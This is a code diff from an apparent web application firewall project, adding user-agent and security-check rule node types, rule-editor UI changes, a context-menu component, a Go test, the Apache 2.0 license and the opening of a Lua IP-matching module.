||||
{ value: 'Postman', label: 'Postman' },
|
||||
{ value: 'CLI', label: 'CLI' },
|
||||
{ value: 'Bot', label: 'Bot' },
|
||||
{ value: 'Unknown', label: 'Unknown' },
|
||||
{ value: 'Other', label: 'Other' },
|
||||
] as const;
|
||||
|
||||
export const UA_OS_OPTIONS = [
|
||||
{ value: 'Android', label: 'Android' },
|
||||
{ value: 'iOS', label: 'iOS' },
|
||||
{ value: 'Windows', label: 'Windows' },
|
||||
{ value: 'macOS', label: 'macOS' },
|
||||
{ value: 'Chrome OS', label: 'Chrome OS' },
|
||||
{ value: 'Linux', label: 'Linux' },
|
||||
{ value: 'Bot', label: 'Bot' },
|
||||
{ value: 'Unknown', label: 'Unknown' },
|
||||
{ value: 'Other', label: 'Other' },
|
||||
] as const;
|
||||
|
||||
export const UA_BROWSER_LABELS = new Set<string>(
|
||||
UA_BROWSER_OPTIONS.map((option) => option.value),
|
||||
);
|
||||
export const UA_OS_LABELS = new Set<string>(
|
||||
UA_OS_OPTIONS.map((option) => option.value),
|
||||
);
|
||||
@@ -20,14 +20,15 @@ import {
|
||||
} from '@/lib/services';
|
||||
|
||||
import { getErrorMessage } from '../../components/helpers';
|
||||
import { validateGraph } from './components/graph-validation';
|
||||
import { NodeProperties } from './components/node-properties';
|
||||
import { RuleFlowCanvas } from './components/rule-flow-canvas';
|
||||
import { UnsavedChanges } from './components/unsaved-changes';
|
||||
import {
|
||||
findGraphErrorTarget,
|
||||
type GraphErrorTarget,
|
||||
} from './components/editor-behavior';
|
||||
import { layoutRuleGraph } from './components/graph-layout';
|
||||
import { validateGraph } from './components/graph-validation';
|
||||
import { NodeProperties } from './components/node-properties';
|
||||
import { RuleFlowCanvas } from './components/rule-flow-canvas';
|
||||
import { UnsavedChanges } from './components/unsaved-changes';
|
||||
|
||||
export default function WAFRuleEditorPage() {
|
||||
return (
|
||||
@@ -160,6 +161,10 @@ function EditorContent() {
|
||||
},
|
||||
[changeGraph, graph],
|
||||
);
|
||||
const formatLayout = useCallback(() => {
|
||||
if (!graph) return;
|
||||
changeGraph(layoutRuleGraph(graph));
|
||||
}, [changeGraph, graph]);
|
||||
const leave = () => {
|
||||
if (!dirty || window.confirm('存在未保存的更改,确定离开吗?'))
|
||||
router.push('/waf');
|
||||
@@ -186,58 +191,74 @@ function EditorContent() {
|
||||
return (
|
||||
<div className='flex h-[calc(100dvh-8rem)] w-full flex-col px-1 py-6'>
|
||||
<UnsavedChanges dirty={dirty} />
|
||||
<header className='mb-4 flex items-center justify-between gap-4'>
|
||||
<div className='flex min-w-0 items-center gap-2'>
|
||||
<GitBranch className='size-5 text-primary' />
|
||||
<h1 className='text-2xl font-semibold tracking-tight'>
|
||||
{ruleQuery.data.name}
|
||||
</h1>
|
||||
<Badge variant={ruleQuery.data.enabled ? 'default' : 'secondary'}>
|
||||
{ruleQuery.data.enabled ? '已启用' : '已停用'}
|
||||
</Badge>
|
||||
<Badge variant={issues.length === 0 ? 'outline' : 'destructive'}>
|
||||
{issues.length === 0 ? '图校验通过' : `${issues.length} 个问题`}
|
||||
</Badge>
|
||||
{dirty && <Badge variant='secondary'>未保存</Badge>}
|
||||
</div>
|
||||
<div className='flex shrink-0 items-center gap-2'>
|
||||
<div className='flex items-center gap-2'>
|
||||
<Switch
|
||||
id='rule-enabled'
|
||||
checked={ruleQuery.data.enabled}
|
||||
disabled={
|
||||
dirty ||
|
||||
issues.length > 0 ||
|
||||
saveMutation.isPending ||
|
||||
metaMutation.isPending
|
||||
}
|
||||
onCheckedChange={(enabled) => metaMutation.mutate(enabled)}
|
||||
/>
|
||||
<Label htmlFor='rule-enabled'>启用规则</Label>
|
||||
<header className='mb-4 flex flex-col gap-4'>
|
||||
<Button
|
||||
variant='ghost'
|
||||
size='sm'
|
||||
className='h-8 w-fit gap-1.5 px-0 text-xs'
|
||||
onClick={leave}
|
||||
>
|
||||
<ArrowLeft className='size-3.5' />
|
||||
返回
|
||||
</Button>
|
||||
<div className='flex items-center justify-between gap-4'>
|
||||
<div className='flex min-w-0 items-center gap-2'>
|
||||
<GitBranch className='size-5 text-primary' />
|
||||
<h1 className='text-2xl font-semibold tracking-tight'>
|
||||
{ruleQuery.data.name}
|
||||
</h1>
|
||||
<Badge variant={ruleQuery.data.enabled ? 'default' : 'secondary'}>
|
||||
{ruleQuery.data.enabled ? '已启用' : '已停用'}
|
||||
</Badge>
|
||||
<Badge variant={issues.length === 0 ? 'outline' : 'destructive'}>
|
||||
{issues.length === 0 ? '图校验通过' : `${issues.length} 个问题`}
|
||||
</Badge>
|
||||
{dirty && <Badge variant='secondary'>未保存</Badge>}
|
||||
</div>
|
||||
<Button variant='outline' onClick={leave}>
|
||||
<ArrowLeft data-icon='inline-start' />
|
||||
返回
|
||||
</Button>
|
||||
{conflict && (
|
||||
<div className='flex shrink-0 items-center gap-2'>
|
||||
<div className='flex items-center gap-2'>
|
||||
<Switch
|
||||
id='rule-enabled'
|
||||
checked={ruleQuery.data.enabled}
|
||||
disabled={
|
||||
dirty ||
|
||||
issues.length > 0 ||
|
||||
saveMutation.isPending ||
|
||||
metaMutation.isPending
|
||||
}
|
||||
onCheckedChange={(enabled) => metaMutation.mutate(enabled)}
|
||||
/>
|
||||
<Label htmlFor='rule-enabled'>启用规则</Label>
|
||||
</div>
|
||||
{conflict && (
|
||||
<Button
|
||||
variant='outline'
|
||||
onClick={() => {
|
||||
setDirty(false);
|
||||
setConflict(false);
|
||||
void ruleQuery.refetch();
|
||||
}}
|
||||
>
|
||||
重新加载
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
type='button'
|
||||
variant='outline'
|
||||
onClick={() => {
|
||||
setDirty(false);
|
||||
setConflict(false);
|
||||
void ruleQuery.refetch();
|
||||
}}
|
||||
title='自动整理节点与连线布局'
|
||||
disabled={!graph}
|
||||
onClick={formatLayout}
|
||||
>
|
||||
重新加载
|
||||
格式化
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
disabled={!dirty || issues.length > 0 || saveMutation.isPending}
|
||||
onClick={() => saveMutation.mutate()}
|
||||
>
|
||||
<Save data-icon='inline-start' />
|
||||
{saveMutation.isPending ? '保存中...' : '保存'}
|
||||
</Button>
|
||||
<Button
|
||||
disabled={!dirty || issues.length > 0 || saveMutation.isPending}
|
||||
onClick={() => saveMutation.mutate()}
|
||||
>
|
||||
<Save data-icon='inline-start' />
|
||||
{saveMutation.isPending ? '保存中...' : '保存'}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
<div className='flex min-h-0 flex-1 overflow-hidden rounded-xl border bg-background shadow-sm'>
|
||||
|
||||
@@ -246,9 +246,9 @@ function AppBanner() {
|
||||
>
|
||||
<div className='flex w-full items-center justify-center px-4 pr-10 py-2 text-xs md:text-[13px] font-medium text-muted-foreground'>
|
||||
<p className='flex flex-wrap items-center justify-center gap-x-2 text-center'>
|
||||
<span className='text-foreground'>最新通知</span>
|
||||
<span className='text-foreground'>更新日志</span>
|
||||
<a
|
||||
href='https://example.com'
|
||||
href='https://open-flare.pages.dev/changelog/'
|
||||
target='_blank'
|
||||
className='underline underline-offset-4 hover:text-foreground'
|
||||
>
|
||||
|
||||
@@ -0,0 +1,252 @@
|
||||
'use client';
|
||||
|
||||
import * as React from 'react';
|
||||
import { CheckIcon, ChevronRightIcon, CircleIcon } from 'lucide-react';
|
||||
import { ContextMenu as ContextMenuPrimitive } from 'radix-ui';
|
||||
|
||||
import { cn } from '@/lib/utils';
|
||||
|
||||
function ContextMenu({
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Root>) {
|
||||
return <ContextMenuPrimitive.Root data-slot='context-menu' {...props} />;
|
||||
}
|
||||
|
||||
function ContextMenuTrigger({
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Trigger>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.Trigger data-slot='context-menu-trigger' {...props} />
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuGroup({
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Group>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.Group data-slot='context-menu-group' {...props} />
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuPortal({
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Portal>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.Portal data-slot='context-menu-portal' {...props} />
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuSub({
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Sub>) {
|
||||
return <ContextMenuPrimitive.Sub data-slot='context-menu-sub' {...props} />;
|
||||
}
|
||||
|
||||
function ContextMenuRadioGroup({
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.RadioGroup>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.RadioGroup
|
||||
data-slot='context-menu-radio-group'
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuSubTrigger({
|
||||
className,
|
||||
inset,
|
||||
children,
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.SubTrigger> & {
|
||||
inset?: boolean;
|
||||
}) {
|
||||
return (
|
||||
<ContextMenuPrimitive.SubTrigger
|
||||
data-slot='context-menu-sub-trigger'
|
||||
data-inset={inset}
|
||||
className={cn(
|
||||
"flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground data-[inset]:pl-8 data-[state=open]:bg-accent data-[state=open]:text-accent-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 [&_svg:not([class*='text-'])]:text-muted-foreground",
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
<ChevronRightIcon className='ml-auto' />
|
||||
</ContextMenuPrimitive.SubTrigger>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuSubContent({
|
||||
className,
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.SubContent>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.SubContent
|
||||
data-slot='context-menu-sub-content'
|
||||
className={cn(
|
||||
'z-50 min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95',
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuContent({
|
||||
className,
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Content>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.Portal>
|
||||
<ContextMenuPrimitive.Content
|
||||
data-slot='context-menu-content'
|
||||
className={cn(
|
||||
'z-50 max-h-(--radix-context-menu-content-available-height) min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95',
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
</ContextMenuPrimitive.Portal>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuItem({
|
||||
className,
|
||||
inset,
|
||||
variant = 'default',
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Item> & {
|
||||
inset?: boolean;
|
||||
variant?: 'default' | 'destructive';
|
||||
}) {
|
||||
return (
|
||||
<ContextMenuPrimitive.Item
|
||||
data-slot='context-menu-item'
|
||||
data-inset={inset}
|
||||
data-variant={variant}
|
||||
className={cn(
|
||||
"relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 data-[variant=destructive]:focus:text-destructive dark:data-[variant=destructive]:focus:bg-destructive/20 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 [&_svg:not([class*='text-'])]:text-muted-foreground data-[variant=destructive]:*:[svg]:text-destructive!",
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuCheckboxItem({
|
||||
className,
|
||||
children,
|
||||
checked,
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.CheckboxItem>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.CheckboxItem
|
||||
data-slot='context-menu-checkbox-item'
|
||||
className={cn(
|
||||
"relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
||||
className,
|
||||
)}
|
||||
checked={checked}
|
||||
{...props}
|
||||
>
|
||||
<span className='pointer-events-none absolute left-2 flex size-3.5 items-center justify-center'>
|
||||
<ContextMenuPrimitive.ItemIndicator>
|
||||
<CheckIcon className='size-4' />
|
||||
</ContextMenuPrimitive.ItemIndicator>
|
||||
</span>
|
||||
{children}
|
||||
</ContextMenuPrimitive.CheckboxItem>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuRadioItem({
|
||||
className,
|
||||
children,
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.RadioItem>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.RadioItem
|
||||
data-slot='context-menu-radio-item'
|
||||
className={cn(
|
||||
"relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
<span className='pointer-events-none absolute left-2 flex size-3.5 items-center justify-center'>
|
||||
<ContextMenuPrimitive.ItemIndicator>
|
||||
<CircleIcon className='size-2 fill-current' />
|
||||
</ContextMenuPrimitive.ItemIndicator>
|
||||
</span>
|
||||
{children}
|
||||
</ContextMenuPrimitive.RadioItem>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuLabel({
|
||||
className,
|
||||
inset,
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Label> & {
|
||||
inset?: boolean;
|
||||
}) {
|
||||
return (
|
||||
<ContextMenuPrimitive.Label
|
||||
data-slot='context-menu-label'
|
||||
data-inset={inset}
|
||||
className={cn(
|
||||
'px-2 py-1.5 text-sm font-medium text-foreground data-[inset]:pl-8',
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuSeparator({
|
||||
className,
|
||||
...props
|
||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Separator>) {
|
||||
return (
|
||||
<ContextMenuPrimitive.Separator
|
||||
data-slot='context-menu-separator'
|
||||
className={cn('-mx-1 my-1 h-px bg-border', className)}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
function ContextMenuShortcut({
|
||||
className,
|
||||
...props
|
||||
}: React.ComponentProps<'span'>) {
|
||||
return (
|
||||
<span
|
||||
data-slot='context-menu-shortcut'
|
||||
className={cn(
|
||||
'ml-auto text-xs tracking-widest text-muted-foreground',
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
export {
|
||||
ContextMenu,
|
||||
ContextMenuTrigger,
|
||||
ContextMenuContent,
|
||||
ContextMenuItem,
|
||||
ContextMenuCheckboxItem,
|
||||
ContextMenuRadioItem,
|
||||
ContextMenuLabel,
|
||||
ContextMenuSeparator,
|
||||
ContextMenuShortcut,
|
||||
ContextMenuGroup,
|
||||
ContextMenuPortal,
|
||||
ContextMenuSub,
|
||||
ContextMenuSubContent,
|
||||
ContextMenuSubTrigger,
|
||||
ContextMenuRadioGroup,
|
||||
};
|
||||
@@ -779,35 +779,83 @@ export interface BlockNodeConfig {
|
||||
response_body: string;
|
||||
}
|
||||
|
||||
export interface UACheckConfig {
|
||||
require_ua: boolean;
|
||||
browsers: string[];
|
||||
operating_systems: string[];
|
||||
match_mode: 'and' | 'or';
|
||||
block_common_bots: boolean;
|
||||
block_abnormal_ua: boolean;
|
||||
block_custom_ua: boolean;
|
||||
custom_ua_patterns: string[];
|
||||
}
|
||||
|
||||
export interface SecurityCheckConfig {
|
||||
sql_injection: boolean;
|
||||
path_traversal: boolean;
|
||||
command_injection: boolean;
|
||||
xss: boolean;
|
||||
ssrf: boolean;
|
||||
file_inclusion: boolean;
|
||||
malicious_upload: boolean;
|
||||
xxe: boolean;
|
||||
crlf_injection: boolean;
|
||||
}
|
||||
|
||||
export type WAFRuleNode =
|
||||
| {
|
||||
id: string;
|
||||
type: 'start';
|
||||
label?: string;
|
||||
position: XYPosition;
|
||||
config: Record<string, never>;
|
||||
}
|
||||
| {
|
||||
id: string;
|
||||
type: 'ip_match';
|
||||
label?: string;
|
||||
position: XYPosition;
|
||||
config: IPMatchConfig;
|
||||
}
|
||||
| {
|
||||
id: string;
|
||||
type: 'geo_match';
|
||||
label?: string;
|
||||
position: XYPosition;
|
||||
config: GeoMatchConfig;
|
||||
}
|
||||
| { id: string; type: 'pow'; position: XYPosition; config: PoWNodeConfig }
|
||||
| {
|
||||
id: string;
|
||||
type: 'ua_check';
|
||||
label?: string;
|
||||
position: XYPosition;
|
||||
config: UACheckConfig;
|
||||
}
|
||||
| {
|
||||
id: string;
|
||||
type: 'security_check';
|
||||
label?: string;
|
||||
position: XYPosition;
|
||||
config: SecurityCheckConfig;
|
||||
}
|
||||
| {
|
||||
id: string;
|
||||
type: 'pow';
|
||||
label?: string;
|
||||
position: XYPosition;
|
||||
config: PoWNodeConfig;
|
||||
}
|
||||
| {
|
||||
id: string;
|
||||
type: 'allow';
|
||||
label?: string;
|
||||
position: XYPosition;
|
||||
config: Record<string, never>;
|
||||
}
|
||||
| {
|
||||
id: string;
|
||||
type: 'block';
|
||||
label?: string;
|
||||
position: XYPosition;
|
||||
config: BlockNodeConfig;
|
||||
};
|
||||
|
||||
@@ -782,6 +782,12 @@ func TestManagedWAFLuaExecutesCompiledGraphWithoutRequestIO(t *testing.T) {
|
||||
if !strings.Contains(openRestyWAFRuntimeLua, `node.type == "ip_match"`) {
|
||||
t.Fatal("expected WAF runtime to execute compiled IP match nodes")
|
||||
}
|
||||
if !strings.Contains(openRestyWAFRuntimeLua, `node.type == "ua_check"`) {
|
||||
t.Fatal("expected WAF runtime to execute compiled UA check nodes")
|
||||
}
|
||||
if !strings.Contains(openRestyWAFRuntimeLua, `node.type == "security_check"`) {
|
||||
t.Fatal("expected WAF runtime to execute compiled security check nodes")
|
||||
}
|
||||
checkStart := strings.Index(openRestyWAFRuntimeLua, "function _M.check()")
|
||||
if checkStart < 0 || strings.Contains(openRestyWAFRuntimeLua[checkStart:], "io.open") {
|
||||
t.Fatal("expected WAF request path not to perform file I/O")
|
||||
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,387 @@
|
||||
local base = require("resty.core.base")
|
||||
local bit = require("bit")
|
||||
local clear_tab = require("table.clear")
|
||||
local new_tab = base.new_tab
|
||||
local find_str = string.find
|
||||
local tonumber = tonumber
|
||||
local ipairs = ipairs
|
||||
local pairs = pairs
|
||||
local ffi = require "ffi"
|
||||
local ffi_cdef = ffi.cdef
|
||||
local ffi_copy = ffi.copy
|
||||
local ffi_new = ffi.new
|
||||
local C = ffi.C
|
||||
local insert_tab = table.insert
|
||||
local string = string
|
||||
local setmetatable=setmetatable
|
||||
local type = type
|
||||
local error = error
|
||||
local str_sub = string.sub
|
||||
local str_byte = string.byte
|
||||
local cur_level = ngx.config.subsystem == "http" and
|
||||
require "ngx.errlog" .get_sys_filter_level()
|
||||
|
||||
local AF_INET = 2
|
||||
local AF_INET6 = 10
|
||||
if ffi.os == "OSX" then
|
||||
AF_INET6 = 30
|
||||
end
|
||||
|
||||
|
||||
local _M = {_VERSION = 0.3}
|
||||
|
||||
|
||||
ffi_cdef[[
|
||||
